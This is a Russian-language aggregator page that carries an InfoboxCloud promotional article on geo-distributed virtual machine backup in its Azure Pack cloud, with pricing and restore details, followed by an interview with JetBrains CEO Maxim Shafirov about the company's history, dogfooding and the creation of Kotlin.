...

суббота, 31 декабря 2016 г.

Как оценить свою публикацию?

Сохранность данных не смотря ни на что. Катастрофоустойчивое резервное копирование в облаке Azure Pack Infrastructure

С радостью сообщаем об интеграции поддержки катастрофоустойчивого резервного копирования виртуальных машин в облаке Azure Pack Infrastructure от InfoboxCloud! Эта возможность позволит вам быть уверенными, что резервные копии виртуальных машин сохранятся даже при физическом уничтожении дата-центра, и могут быть восстановлены без перенастройки.


Давайте посмотрим, зачем же нужно катастрофоустойчивое резервное копирование, как работает и сколько стоит.

В чем проблема?


Потеря данных — один из самых критичных инцидентов, который может произойти в ИТ-инфраструктуре. Данные, накопленные за десятилетия работы предприятия, данные сервиса общероссийского или международного масштаба, критичные бухгалтерские данные, в конце концов просто данные интернет-магазина или сайта — их потеря недопустима.

Локальные технологии резервного копирования не защищают от проблем, которые могут возникнуть на уровне даже самого лучшего дата-центра: техногенные и природные катастрофы, теракт, пожар и другие.

В прошивке систем хранения данных может быть обнаружена ошибка, которая приведет к потерям данных.

В программном обеспечении облачной платформы может возникнуть критичный сбой и также привести к потерям данных. Сейчас многие говорят о гиперконвергентных отказоустойчивых хранилищах данных без аппаратной точки отказа: так вот там точка отказа программная.

В конце концов администратор заказчика может самостоятельно по ошибке или умышленно удалить виртуальные машины и все резервные копии, что может нанести непоправимый ущерб бизнесу заказчика.

Один дата-центр и одна платформа управления облаком — это тоже точка отказа, хотя многие предпочитают не говорить об этом.

Что делать?


Для того, чтобы решить проблему точки отказа в виде дата-центра, необходимо реплицировать виртуальные машины в другой ЦОД или создавать резервные копии в другой ЦОД. Панацеи не бывает, у любого из подходов есть преимущества и недостатки.

Услуга георепликации и аварийного восстановления в другом ЦОДе уже доступна для наших клиентов в облаке Azure Pack Infrastructure с частотой репликации от 30 секунд, но об этой возможности мы подробно расскажем в одной из следующих статей.

Когда не помогает георепликация? При ошибках или потерях данных внутри виртуальной машины, вызванных программным обеспечением пользователя или действиями пользователя. Например на виртуальной машине происходит сбой СУБД и часть данных повреждается, либо по-ошибке удаляется часть файлового архива предприятия. Это может быть обнаружено далеко не сразу. При георепликации все изменения внутри виртуальной машины будут успешно зареплицированы в другой ЦОД и данные будут потеряны.

При катастрофоустойчивом резервном копировании из облака Azure Pack Infrastructure в другой ЦОД, о котором и поговорим в этой статье, у вас будет достаточное количество резервных копий для восстановления не только последнего состояния виртуальной машины, но и предыдущих. Резервные копии могут создаваться по нужному расписанию: от нескольких раз в день и храниться годами. Недопустима ситуация потери самих резервных копий, поэтому они также хранятся геораспределенно в резервном ЦОД.

Удалить геораспределенные резервные копии администратору заказчика нельзя: действия с такими важными данными возможны только по заявке в службу поддержки InfoboxCloud. Мы гарантируем время ответа на такие заявки в течение часа. При просьбе удалить резервные копии они не будут удалены автоматически: мы проверим, что это действие выполняет заказчик, указанный в договоре и удалим резервные копии спустя ранее согласованный период, уведомив заказчика о том, когда это произойдет (для возможности отмены заявки на удаление, если таки она сделана злоумышленником). Права на удаление резервных копий есть только у нескольких многократно проверенных сотрудников InfoboxCloud, действия которых протоколируются.

Как подключить?


Пользователь пишет запрос в панели управления услугами на подключение услуги катастрофоустойчивого резервного копирования в облаке Azure Pack Infrastructure. Мы согласовываем все детали резервного копирования: как часто, сколько хранить бекапы, сколько ждать удаления после заявки на удаление, для каких виртуальных машин оно необходимо и др. Также возможно и локальное хранение резервных копий вместе с геораспределенным для наиболее быстрого восстановления.

Сколько стоит?


С заказчиком согласовывается фиксированная стоимость услуги (в скором времени ее можно будет рассчитать самостоятельно на нашем калькуляторе для наиболее востребованных сценариев).

Почему стоимость фиксирована? Потому что бухгалтериям крупных предприятий в России не удобно оплачивать «сколько используете ресурсов», нужен фиксированный платеж для финансового планирования. Как показывает наша практика фиксированный платеж может быть более выгоден, чем Pay As You Go оплата.

Несколько примеров рассчитанной стоимости:

  • Объем диска виртуальной машины 30 Гб. Создавать резервные копии: ежедневно. Хранить — 30 дней (30 копий). Стоимость составит 871 рубль в месяц. Вполне подъемные деньги для владельца интернет-магазина.
  • Объем диска виртуальной машины 90 Гб. Создавать резервные копии: ежедневно. Хранить — 2 месяца (60 копий). Стоимость составит 2623 рубля в месяц. Эта сумма незначительна по сравнению с проблемами, которые может вызвать потеря всей бухгалтерии предприятия.
  • Объем диска 300 Гб. Создавать резервные копии: ежедневно. Хранить — 3 месяца (90 копий!). Стоимость составит 8365 рублей в месяц. А ведь могли быть потеряны данные CRM на 200 сотрудников со всеми сделками компании (8365/200 = 41 рубль в месяц на сотрудника). Настолько продолжительный срок хранения позволит восстановить даже случайно удаленную пару месяцев назад сделку.

Каждый пример приведен на основании тестирования услуги реальными заказчиками. Для менее критичных данных можно создавать катастрофоустойчивые резервные копии реже и платить меньше.

Если и это кажется дорогим стоит задуматься какова цена потери данных. SLA не спасут (SLA Azure Pack Infrastructure 99,982%), так как в случае нарушения SLA вы конечно получите денежную компенсацию, но она будет несоизмерима со стоимостью потерянных данных, а некоторые данные восстановить будет просто невозможно.

Как работает?


В нужный момент времени резервную копию создает Microsoft System Center Data Protection Manager.

При создании обязательно выполняется проверка целостности бекапа. Всегда хранится одна локальная полная резервная копия (уже входит в стоимость), а по согласованию с заказчиком возможно хранение большего количества резервных копий локально.

Восстановление из локальной резервной копии происходит практически моментально.


После создания локальная резервная копия (vhd/vhdx) реплицируется в дата-центр глобального облака Microsoft Azure в Северной Европе в геораспределенное хранилище (GRS).
Расписание

Возможно создание до 2х резервных копий ежедневно с указанием точного времени создания резервной копии. При выборе еженедельного резервного копирования можно выбирать периодичность (раз во сколько недель), в какие дни недели, в какое время до 2х раз в день. Возможно ежемесячное и ежегодное резервное копирование с очень гибкой настройка резервирования под задачи заказчика.

Сколько хранятся резервные копии?

Возможна раздельная настройка сроков хранения резервных копий для ежедневных, еженедельных, ежемесячных и ежегодных бекапов. Максимальный срок хранения каждой резервной копии 9999 дней. На более длительный срок хранения запросов пока не было.

Восстановление

При восстановлении из требуемой контрольной точки vhd/vhdx файл виртуальной машины копируется из Azure Storage GRS или локальной резервной копии и может быть использован как вместо жесткого диска уже существующей виртуальной машины, так и в качестве диска новой. IP–адрес виртуальной машины может быть сохранен. Если даже сама виртуальная машина будет удалена пользователем в панели управления, восстановить ее не составит проблем. Также возможно подключение этого диска к другой виртуальной машине в качестве дополнительного для восстановления только данных целиком или выборочно.

Совместимость


Использование в качестве дисков виртуальных машин vhd/vhdx – преимущество. Вы можете не только использовать эти диски в нашем облаке, но и при необходимости подключить их локально на Hyper-V сервер или даже к Hyper-V в Windows 10. Таким образом вы остаетесь не только владельцем виртуальных машин и резервных копий, но и владельцем данных: вы всегда можете взять у нас диски своих виртуальных машин и резервных копий при необходимости, подключить их к своему серверу или локальному компьютеру, что важно для обеспечения технологической независимости предприятия: вы используете наши облачные сервисы не потому что уйти нельзя, а потому что они наилучшим образом решают ваши задачи, позволяют наиболее экономически эффективным способом расти вашему бизнесу.

Заключение


Непрерывность бизнес-процессов предприятий, сохранность данных не смотря ни на что и необходимость обеспечения максимальной безопасности данных — причины по которым было создано облако Azure Pack Infrastructure. Используя преимущества гибридного облака InfoboxCloud и дата-центров Microsoft Azure мы смогли предоставить нашим клиентам новый уровень сохранности данных, реальную катастрофоустойчивость и защиту от неумышленного удаления данных.

Для получения доступа в облако Azure Pack Infrastructure пожалуйста заполните заявку. Если известно количество серверов, количество ядер, объем оперативной памяти и диска в каждом, укажите это. Мы свяжемся с вами, поможем решить вашу задачу наилучшим и наиболее выгодным для вас способом.

С Наступающим новым годом!


Пусть исполнятся все самые фантастические мечты, а результаты труда воплотятся в реальные и ощутимые достижения!

Интересных проектов, качественного кода, надежных сайтов и технологичных сервисов. Пусть любая работа приносит удовольствие и остается достаточно времени на счастье и уют в семейном кругу.

Всегда ваша, команда Infobox!

Комментарии (0)

    This article passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.
    Recommended article: The Guardian's Summary of Julian Assange's Interview Went Viral and Was Completely False.

    «Меня разрывает, когда я не могу писать код» — интервью с Максимом Шафировым, CEO JetBrains

    В новогоднем выпуске «Без слайдов» — Максим shafirov Шафиров, CEO компании JetBrains.

    Вот о чем мы поговорили с Максимом:

    • Важен ли для JetBrains российский рынок?
    • Почему Максим не прекращает писать код?
    • Насколько помогает догфудинг и в чём его ограничения?
    • Почему компания редко закрывает продукты?
    • Как появился Kotlin, и какими компания видит его перспективы?
    • Почему компания не была продана, несмотря на щедрые предложения?
    • Как в JetBrains появилась должность PMM?
    • Как JetBrains одновременно конкурируют и сотрудничают с Microsoft?

    Как обычно, под катом — полная текстовая расшифровка беседы.

    О работе на российском рынке


    — Начну с цитаты из интервью РБК, которое ты давал этим летом. Кстати, называлась статья очень интересно: «Как построить глобальный бизнес на эмпатии».

    — Как ты, конечно, понимаешь, название придумал не я. Журналисту главное — придумать название…

    — Ну, на самом деле, это довольно близко к тому, что про вас говорят: вы сами кастомеры собственных продуктов, и эмпатия, наверное, правильное слово. Мне понравился заголовок. А цитата такая. Журналист делает вводную о том, что российский рынок является для JetBrains периферийным, и ты говоришь следующее: «Сейчас ситуация несколько изменилась — мы открыли российское отделение продаж, чтобы отечественные покупатели могли не отправлять деньги в Чехию, как происходило раньше, а платить внутри страны. Так что сейчас я подписываю все эти бумаги. И вот, судя по объему бумаг, на российском рынке дела тоже идут неплохо — заказы есть, их становится больше».

    Каждый раз, когда я разговариваю на мероприятиях вроде JavaOne с ребятами, которые заняты разработкой продуктов, они говорят одно и то же: «Россия для нас — не рынок». Потому что мало продаж, люди не привыкли платить за софт, и ещё ряд известных причин.

    Для JetBrains Россия — рынок или не рынок?

    — Ну, настолько же, насколько российский рынок софта является частью мирового. Все знают, что самый большой рынок софта — это Штаты (если не считать Китай, где сейчас специфическая ситуация). Потом идёт Европа, потом все остальные. Россия занимает где-то один-два процента. Ну и вот эти 1-2% в нашей структуре продаж точно так же фигурируют. Рынок это или не рынок? Да, рынок, и хороший.

    — Влияет ли [на вас] как-то тот факт, что большинство ваших разработчиков находятся в России и компания корнями отсюда, на продажи, маркетинг?

    — Никак не влияет.

    — Несмотря на то, что есть каналы типа Хабра, и много людей в тусовке, все всех знают?

    — Скажем так, я не знаю способа корректно измерить это влияние, но мне кажется, что оно не особо чувствуется. Нам приятно, что нас знают, это помогает нам как HR-бренду нанимать хороших людей, потому что они знают, что будут делать: то, чем сами пользуются в своей работе каждый день. Это польза. А с точки зрения денег — не знаю.

    — Но всё равно рынок растёт? Рука не устала бумаги подписывать?

    — Устала. Мы пытаемся внедрить какие-нибудь системы (оказывается, российские производители тоже такие делают), где можно подписывать документы электронным образом.

    — А есть какие-то истории с интеграторами, людьми, которые это продают? Вот Microsoft в России продаётся через партнёров.

    — Да, конечно, есть, но мы совершенно не отслеживаем, кому они продают, никак не участвуем в работе с конечными клиентами. Без этого у нас вообще не было бы никаких корпоративных продаж в России, потому что чисто технически обосновать передачу денег за границу для многих компаний трудно.

    — Да, есть валютный контроль, НДС, целая история…

    — Но это не чисто российская история. Такие реселлеры, чтобы чисто деньги собрать, есть во многих странах мира.

    — Вы будете что-то с Россией специально делать, или воспринимаете рынок таким, какой он есть?

    — Он хороший, нам нравится. Зачем с ним что-то специальное делать? Я думаю, что продуктовые российские компании к нам так или иначе все приходят, мы их знаем, вы их знаете. Можно назвать имена, но это ничего не расскажет дополнительного. Есть такой специальный сектор, как государственные компании или просто государственные структуры, вот с ними можно было бы как-то специально работать, но у нас тут случился казус, и теперь им нельзя покупать наш софт!

    — То есть для них вы не российская компания?

    — Для них мы не российская компания, потому что интеллектуальная собственность принадлежит чешской компании. У нас так устроен бизнес, что чешская компания заказывает разработку российской, российская делает на заказ за денежку, интеллектуальная собственность остаётся на балансе у чешской. Когда вы покупаете что-то, вы покупаете это у чешской компании. А [для продаж госкомпаниям] нужно быть в специальном реестре. И если в этом реестре есть хоть что-нибудь, отдалённо напоминающее конкурента по названию или по рубрике, то вы не можете купить зарубежный продукт, вы должны купить российский.

    — Так а ведь нет же никого!

    — Фактически нет, а если почитать реестр — то есть.

    — Есть IBM с Eclipse, есть Oracle с NetBeans — и они же все тоже иностранные.

    — Ты перечисляешь реальные конкурентные альтернативы, а есть бумажные конкурентные альтернативы.

    — Это довольно забавно. То есть это всё с импортозамещением связано, с такими вещами?

    — Ну, нас это не особо печалит, потому что с точки зрения денег, там их и не было. Нас печалит, что пользователи, которые хотели бы что-то купить у нас, не могут этого сделать, пишут нам «давайте вы внесётесь в этот список, Касперский же внёсся каким-то образом». А мы не можем им помочь. Обидно.

    О совмещении разработки и управления


    — У вас есть ещё линейка серверных продуктов.

    — Да.

    — Довольно большая, и если я правильно понимаю, когда у вас было два СЕО, Олег Степанов больше занимался ими. В связи с чем у вас было такое разделение?

    — Ну, просто функционально сложилось. Не то что мы делили сферы ответственности, но я занялся инфраструктурой продаж в тот момент и был крепко занят этим, а Олег занялся чем-то другим.

    — А что такое инфраструктура продаж?

    — Это система, в которой идёт учёт всех лицензий, в которой карточки, ремайндеры, оплаты…

    — А почему вы не взяли готовое решение? Наверняка много таких решений есть на рынке.

    — Все решения на рынке тебя загоняют в какую-то канву. У нас исторически сложилось так, что наша идея лицензирования софта — нестандартная. Кроме того, когда нам пришло в голову, что надо бы навести порядок, у нас уже было довольно много клиентов, так что выкинуть историю и начать с нуля мы не могли себе позволить. Наверное, мы могли ее кому-то заказать. Мы даже посмотрели на какие-то варианты ERP-систем типа SAP и NetSuite — и это страшно, туда вкладываться страшно.

    В некоторых подразделениях, в частности, в пражском, мы стандартизовали NetSuite, потому что там банально не было бухгалтерии in-house, она была на аутсорсе. И это был чрезвычайно мучительный процесс, так что хорошо, что мы не перевели на NetSuite систему обслуживания клиентов.

    — У вас есть важное преимущество: вы люди, которые разрабатывают софт!

    — Да.

    — Ты сам до сих пор тоже занимаешься разработкой?

    — Да.

    — Расскажи, тебя вообще не разрывает от этого, когда у тебя и «код писать», и «за компанию отвечать»?

    — Меня разрывает, когда я не могу писать код. Это, может быть, высокопарно или банально прозвучит, но если я за день не написал ни строчки кода, я чувствую себя очень плохо, я чувствую некоторое неудовлетворение. Несмотря на то, что я решал жутко важные вопросы, где-то кому-то с чем-то помогал или какие-то разговоры вёл, всё-таки для меня важно что-то написать, чтобы что-то работало.

    — А ты думал в ключе «для бизнеса важно, чтобы я уделял больше внимания бизнесу, а код за меня напишет кто-то другой, у нас много умных ребят»?

    — Да, думал. А потом придумал вот эту отмазу с эмпатией, и мне стало очень хорошо! Мне нужно понимать, как работает бизнес, зачем он работает, для кого он работает. И сейчас я его понимаю и с той, и с другой стороны.

    О догфудинге


    — Очень здорово — начинать историю на эмпатии, на догфудинге. Но в какой-то момент ты вычищаешь всю боль из продукта, и у тебя уже всё хорошо.

    Если спросить у пользователя IDEA со стороны, что изменилось в IDEA за последние пять лет, тебе скажут — ну, появилась тема Darcula, ну, лямбды стали поддерживать. И у меня как у пользователя IDEA тоже нет ощущения, что она меняется. Вы же наверняка ведёте громадную работу — и перфоманс, и UI, и всё подряд, но это не чувствует пользователь. Вот как вы эту дихотомию для себя решаете?

    — Надо в первую очередь признаться, что то, что «пользователь не видит» — это эффект восприятия, это ощущения пользователя. Потому что количество функциональности, которое мы делаем, зависит, как бы ни банально это прозвучало, от количества сил, которое мы туда вложили. Если у нас в начале над IDEA работало 3 человека, то за год появлялось 3 человекогода фич, а когда работает 90 человек, появляется 90 человеколет фич. Происходит накопление, и каждый следующий релиз отличается от предыдущего уже не в 10 раз, потом не в 2 раза, не в полтора, а, скажем, на 5%. А по объёму эти 5% — это даже больше изменений, чем происходило раньше.

    В каждый конкретный момент времени каждому конкретному человеку понятно, как улучшить продукт. То, что это не всегда складывается в какую-то целостную картину, которую можно с точки зрения маркетинга подать пользователям — ну и бог с ним. Мы-то знаем, что продукт становится лучше. И в конечном итоге мы видим, что пользователи с нами согласны: деньги несут. Не были бы согласны — не несли бы.

    — Всегда есть разрыв между тем, как воспринимает продукт инженер, который его делает, и как воспринимают его пользователи. Вы пытались выделить эту разницу, и если выделили, то что нарыли интересного?

    — Постоянно пытаемся, и это мучительный процесс. Надо признать, что догфудинг — он несколько однобокий. То, что касается core-фич, работы с языком, каких-то generic-историй, рефакторингов, лампочек и инспекций — с ними всё понятно. Но с другой стороны, все люди, которые работают сейчас над проектом IDEA, пишут проект IDEA. Он стартовал 15 лет назад, он большой, специфический, в нём определённая структура модулей, и его не надо начинать с нуля. А когда к нам приходит какой-то новый разработчик, ставит продукт… В начале своей работы он понимает, что можно СТОЛЬКО улучшений сделать! Например, когда я сам из проекта IDEA вышел и попытался делать что-то сбоку, у меня волосы дыбом встали. Оказывается, всё не так шоколадно, как мне казалось!

    Другое дело, что до команды эту историю нужно перманентно доносить. JetBrains не состоит из одной IDEA, он состоит из людей, которые разрабатывают и другие продукты. И в команду IDEA идёт поток информации не только от пользователей, но и от нас тоже, от «другого JetBrains». И подвижки есть, как мне кажется.

    — У меня давно есть тезис, что догфудинг — это ловушка, в которую легко попасться. Он очень помогает на первых этапах, но начинает мешать потом. Но вот вы много лет используете догфудинг и при этом бешено растёте. Значит, мой тезис неверен? Видишь ли ты какую-то проблему в том, что у вас сплошной догфудинг? Если видишь, то как вы с этим боретесь?

    Как вы, например, узнаете мнения о своих продуктах от людей снаружи? Я знаю, что у вас есть публичный багтрекер, но мы с тобой при этом понимаем, сколько людей пишут на Java, а сколько из них ходят в багтрекер IDEA. Очевидно, что это очень разное количество людей.

    — Количество разное, но выборка статистически, я думаю, вполне репрезентативная.

    — То есть в ваш багтрекер приходит много пользователей?

    — Много. Это сотни тысяч человек, наверное.

    — Ты писал систему, связанную с продажами — эта система отвечала только за продажи, или и какие-то маркетинговые вещи тоже, за трекинг каналов, например?

    — Нет, тут мы использовали Marketo, пытались с ней интегрироваться. Мы пытались интегрироваться со всем, чем ни попадя.

    — И как ощущения?

    — Не очень. Если бы я делал продукт для маркетинга, наверное, я бы сделал что-нибудь более удобное.

    — Мы (JUG.ru Group) тоже пытаемся отслеживать каналы — кто как о нас узнал, кто кому нас порекомендовал и так далее. Для нас это очень тяжёлая история, но мне кажется, что очень важная. Вы активно эту проблематику исследовали?

    — Нет.

    — У вас не было такой необходимости?

    — Нет. Дело в том, что если компания-клиент маленькая, то она действительно с одного человека очень быстро, вирусно, подсаживается на наши продукты. Или нет. Это «работа снизу». А если компания большая, то необходима работа и сверху тоже. Не то что пытаться продавать кому-то — CTO или высшему менеджменту — но требуется работа сейлзов просто для обеспечения коммуникации. Какие-то скидки, личные взаимоотношения, помощь с апробацией, исследованием. Потому что люди в больших корпорациях вроде банков этого ждут, им это просто необходимо. Иначе ты для них выглядишь как какой-то мелкий вендор, который не отвечает за то, что он делает.

    О пути в компании


    — Ты же в JetBrains очень давно?

    — 1 октября исполнилось 15 лет.

    — Это с самого начала существовании компании?

    — Почти с начала. Когда я пришёл, IDEA была версии 2.5.

    — Каким ты был по счету сотрудником?

    — Десятым.

    — У тебя же были какие-то этапы: ты был инженером, потом продуктовым или проектным менеджером...

    — Да, но я при этом всегда был инженером.

    — А сейчас ты СЕО. А ты можешь какие-то этапы для компании выделить, которые как-то её меняли?

    — В своём разрезе?

    — Изнутри — раз, в разрезе рынка — два.

    — Сейчас, вспомню все 15 лет… Когда я пришёл, у компании был один продукт — IDEA. И я лично начал с того, что я делал инспекции в IDEA, и начал я с самого простого, конечно — State Flow анализ, который подсказывает: «Вот эта область всегда true, а здесь вылетит NullPointerException». Сарказм в том, что это до сих пор наиболее продвинутая технология: инспекций мы написали полторы тысячи, но именно эта почему-то наиболее могучей оказалась.

    — Ну, может быть, потому что NullPointerException — это «Billion Dollar Problem»?

    — Не, его просто прикольнее всего было писать.

    — Я к тому, почему до сих пор…

    — Почему он полезный? Потому что он фундаментальный. Все остальные — они как шаблоны: «так не пишите, пишите вот так», и ещё пояснительная записка, почему так правильно, а эдак нет. А эта инспекция пытается понять структуру и семантику кода, которая напрямую в самом коде может быть не отражена, но вывести её оттуда можно. Я помню, первые полгода меня коллеги вызывали со словами «вот тут у тебя полная лажа», «вот этого не может быть», а я приходил и объяснял: «посмотри вот сюда, вот здесь условие такое-то, здесь вот это присвоится в это, а потом этот придёт отсюда, и вот тогда у тебя будет...» — «а, да, действительно!». Первые полгода мне никто не верил, но потом постепенно перестали ко мне ходить.

    — То есть ты написал, на самом деле, кусок компилятора?

    — Да, и даже чуть больше. Оно компилировалось действительно в некоторый псевдокод, и внутри ма-а-аленький интерпретатор а-ля виртуальная машина, который пытается разобрать все неэквивалентные состояния памяти по control flow graph’у, а потом, соответственно, посмотреть их на совместность и выделить какие-то условия, которые могут быть интерпретированы как баги.

    Потом Сергей Дмитриев, основатель, довольно много чего написавший, написал первую версию редактора.

    — То есть изначально это был не редактор, а какой-то отдельный инспекшен? Как это работало?

    — Не-не, ты запутался. Кроме inspections, я начал поддерживать редактор.

    — Ты конкретно?

    — Да, конкретно я. Исправил там миллион проблем, просидел с профайлером в первый раз в жизни, на Pentium III, я специально попросил себе машинку, которая…

    — … не тормозила?

    — Нет, наоборот, которая тормозила! Потому что пользователи жаловались нам: «У вас лаги и код печатать невозможно!», а я на Pentium 4 не мог этого увидеть.

    — Это тоже догфудинг, только в другом разрезе.

    — Запустил первый профилировщик в своей жизни, и он СКРИПЕЛ. Это было так: ты нажимаешь клавишу, чтобы проверить скорость того, как это печатается, и можно было через десять минут подойти и получить трейс того, что происходило в это время, а потом как-то пытаться это оптимизировать.

    Занимался в редакторе фолдингом, перфомансом, исправил кучу багов, сделал кучу фич. А потом пришёл Сергей Дмитриев (основатель и президент JetBrains — прим. авт.) и сказал: «Давай ты будешь руководить IDEA». Вот в такой постановке вопроса. Я говорю: «Вы чё, офигели, что ли?»… Ну ладно, говорю: «Как же так?».

    Потом дня три походил с «Как же так?» в голове, и решил, что надо попробовать. И попробовал. Собрал кучу шишек. Когда говорят, что из программистов получаются плохие менеджеры — это, конечно, в определённом смысле правда. Все те же шишки, которые какой-то менеджер уже где-то собрал, тебе придётся собрать заново.

    О том, как закрываются некоторые проекты


    Ладно, я же про компанию рассказываю, да? Ну вот, к тому времени у нас уже был проект Fabrique, который оказался закрыт. Это была идея «давайте мы сделаем такой мега-инструмент для написания веб-приложений, там будет какой-то серверный движок, чтобы UI можно было рисовать на картинке, AJAX там поддержим, WYSIWYG».

    — Это была середина двухтысячных?

    — Да, слово AJAX только начало появляться, ещё не вошло в мейнстрим, это был, наверное, 2004-й год. Так вот, проект Fabrique был закрыт за десять дней до своего первого релиза.

    — Не полетело?

    — Пришло осознание, что не полетит.

    — А как вообще принимаются решения о закрытии? Вы же вложили очень много сил в этот проект? И это же наверняка не единственный проект, который вы закрыли?

    — Мы очень мало что закрывали. Положа руку на сердце — наверное, можно было бы закрыть больше. Но легко закрывать проект, пока ты не выкатил его пользователям. Потому что после того, как ты его выкатил, даже если у тебя нет никаких прямых обязательств (вроде тех, что они заплатили тебе денег или рассчитывают на багфиксы, сопровождение), всё равно есть коммитмент. Закрытие зарелизенного проекта негативно влияет на то, как люди воспринимают твою компанию.

    Компания Google, наверное, может позволить себе закрывать проекты направо и налево просто потому, что может. Сколько было шума про закрытие Reader? Им пользовались миллионы человек! Компания Google осознала, что не может себе позволить сопровождать такой проект, просто некому внутри этим заниматься, никто не хочет. Они могут закрыть даже то, про что сами раньше с фанфарами трубили: «Wave — это новый способ коммуникации, e-mail-киллер, вы сейчас все будете писать в Wave»… Пробуешь — действительно красиво. Но не пошло. Взяли и закрыли.

    У нас не так. Мы закрыли Fabrique, мы закрыли OmniaMea — это был такой написанный на .NET информационный аггрегатор: ридер имейла, ньюзгруп, RSS-фидов, отслеживание контента сайтов… Если нужно отслеживать какой-то большой объём информации, есть коробочка, которой это удобно делать. И там была куча смарт-фич. Как бизнес это не полетело, и приняли решение закрыть. И это чуть ли не всё из закрытий продуктов.

    — Получается, что как только ты свой продукт кому-то продал, для тебя это сразу легаси. Есть то, что у тебя растёт, а есть то, от чего не можешь отказаться, потому что у этого чего-то есть кастомеры. Есть ли сейчас проекты, которые тянут вас вниз?

    — Я бы не хотел это комментировать. Скажем так: есть проекты, которые приносят меньше денег, чем мы на них тратим.

    — Понятно. Портфель для того и нужен, чтобы диверсифицировать. Была ли в своё время история с запуском ReSharper попыткой диверсифицировать ваш бизнес?

    — Да, конечно, абсолютно.

    — А что вас тогда напугало? IBM и Eclipse? Расскажи чуть-чуть про это, что вы тогда чувствовали?

    — А я тогда был инженером. Это довольно забавно для меня, сейчас ретроспективно я понимаю, что когда Сергей Дмитриев сказал «а давай ты будешь руководить IDEA», он на самом деле имел в виду, что IDEA конец, потому что Eclipse её сейчас убьёт. И не важно, кто будет этот проект дальше развивать, но нужно, чтобы какое-то время проект побыл на плаву…

    — Потому что есть кастомеры…

    — Да. Ну и может, ещё побарахтаемся…

    — Как интересно.

    — Ну, может, он и не признается сейчас в этом, но я как-то так это сейчас вижу. Ну и действительно была такая ситуация: все действительно либо закрылись, либо переписали свои IDE на базе Eclipse — Borland Together, например.

    И возвращаясь к твоему вопросу о том, что «мы во всём правы и догфудинг очевидно хороший способ, потому что мы хорошо зарабатываем» — нам еще конкуренты помогают, и это тоже довольно существенно.

    — Что ты имеешь в виду?

    — Ну, я наблюдаю, что у Eclipse сейчас дела идут не очень хорошо.

    — То есть вы учитесь на их ошибках, или просто они сами себе могилу роют?

    — Роют, причем откровенно: их пользователи жалуются на качество. Они и раньше жаловались, но была какая-то динамика развития. А сейчас — есть сайты, где можно посмотреть, сколько в Eclipse коммитов делается (IDEA Community и Eclipse — опенсорсные). И у нас, например, две сотни коммитов в день, а у них двадцать коммитов в месяц в такой же по функциональности code base.

    — Есть ощущение, что они сдаются?

    — Они не сдаются, конечно, просто у них нет финансирования. Это некоммерческая организация, которую финансируют разные большие корпорации.

    — Это интересная история, потому что народ привык про опенсорс рассуждать как про какие-то некоммерческие вещи, но мы же отлично понимаем, что Java спонсируется Oracl-ом, Eclipse спонсируется IBM-ом и так далее — то есть, разработчики этих проектов работают не бесплатно.

    — Бывают истории, когда люди работают бесплатно, но это не может продолжаться вечно.

    — Это не про большие продукты. В то, что OpenSSL бесплатно делают три человека — я готов поверить. Но, например, в Linux контрибьютят сотрудники крупнейших вендоров, таких как Red Hat и Intel.

    Почему я про это заговорил: мне очень нравится, что вы продаёте продукт за деньги. В России как-то не принято покупать. И, может быть, не только в России. Вообще эта история с опенсорсом и free software немножко пугает, потому что пользуются этими продуктами программисты, которые получают за свою работу деньги. Но вот платить за эти продукты их компании часто не готовы. Это чисто российское явление, или в остальном мире это тоже наблюдается?

    — С одной стороны, в мире считается, что хорошо быть Open Source и плохо быть proprietary. С другой — в России есть ещё такая штука, что весь Software Development — это некоторое донкихотство. Нужно быть рыцарем в белых доспехах, делать хорошие вещи бесплатно, делиться им с миром. И в принципе зарабатывать в России много денег имеет некий флёр постыдности. Олигархи, «если у тебя хорошая машина — значит, ты наворовал»… К сожалению, есть такой шлейф. Это пройдёт, конечно.

    — Но деньги помогают делать интересные вещи — например, создавать новый язык программирования.

    — Не только. В первую очередь, деньги помогают делать то, что ты делаешь. Я абсолютно уверен, что пользователи наших продуктов заинтересованы в том, чтобы платить нам деньги. Потому что эти деньги будут использованы на то, чтобы сделать их инструменты лучше.

    О Kotlin


    — Я хочу поговорить про Kotlin. Я очень давно знаю Андрея Бреслава, он меня учил еще в школе, потом в институте — и я ему безумно за это благодарен. И в какой-то момент Андрей вернулся в Питер и сказал «я теперь делаю язык Kotlin в JetBrains». Кому и как вообще пришла в голову идея сделать свой язык программирования?

    — Давай я всю историю расскажу. Пришёл Сергей Дмитриев и говорит: «Знаете, мне кажется, нам надо что-то интересное сделать. IDE, тулинг — это всё понятно, а что бы такого сделать, чтобы вывести компанию на новый уровень?» И Дима yole Жемеров ляпнул: «А давайте язык программирования сделаем!»

    И Дмитриев пришёл ко мне: «Вот Жемеров говорит, давай язык программирования сделаем». А я отвечаю: «Господи, что за фигня? Где JetBrains, и где язык? Язык имеет смысл, только если он популярен. Вот IDE может захватить 5% рынка и отлично чувствовать себя на нём. А язык не может так, он имеет смысл, только если он мейнстрим». Я до сих пор так считаю.

    — Ну, 5% для языка — это очень хорошо. По индексу TIOBE в районе 5% заканчивается первая десятка (на самом деле — тройка — прим. авт.).

    — Хорошо, 5% — это я загнул. И мне в какой-то момент казалось «ну нет, это невозможно просто потому что невозможно». А потом я подумал: вот мы поддерживаем языков 20 или 30, я уже даже сбился со счёта. Всяких разных. И мы знаем, как люди на них пишут. Мы знаем, где в каждом языке разложены грабли, знаем все их плюсы и минусы — не только с точки зрения каких-то формальных фич и чекбоксов, а с точки зрения практического использования всех этих языков.

    — То есть вы накопили экспертизу.

    — Да. И пришло понимание, что, наверное, JetBrains — самая технологически подкованная компания для того, чтобы сделать язык программирования, который будет действительно использоваться в индустрии. Потом мы провели все эти стандартные разговоры, «почему не Groovy?», «почему не Scala?», «почему не что-нибудь еще?» И мы начали думать, какой это будет язык. Мы были абсолютно уверены, что нужна статическая типизация, потому что статическая типизация — это тулинг, а тулинг — это IDE, а IDE — это деньги, ну и вообще — это удобнее и быстрее. Мы накидали какой-то список фич, а потом Андрей Иванов привёл Бреслава, и тот начал нас спрашивать.

    И это был Jam Session. Я его отлично помню от первой до последней минуты. Он начал задавать вопросы, я отвечал на них — почему не Scala, почему не Groovy, все те самые. Он довольно скептически был настроен, но, тем не менее, открыт к диалогу.

    И к концу разговора, часа, наверное, через четыре, у нас уже было чёткое понимание, что Андрей у нас работает, и делает он вот это и вот это. Потом он уехал в Microsoft Research на год, делал там какое-то исследование, потом он вернулся, и мы с ним где-то полтора года сидели в комнате и просто дизайнили новый язык.

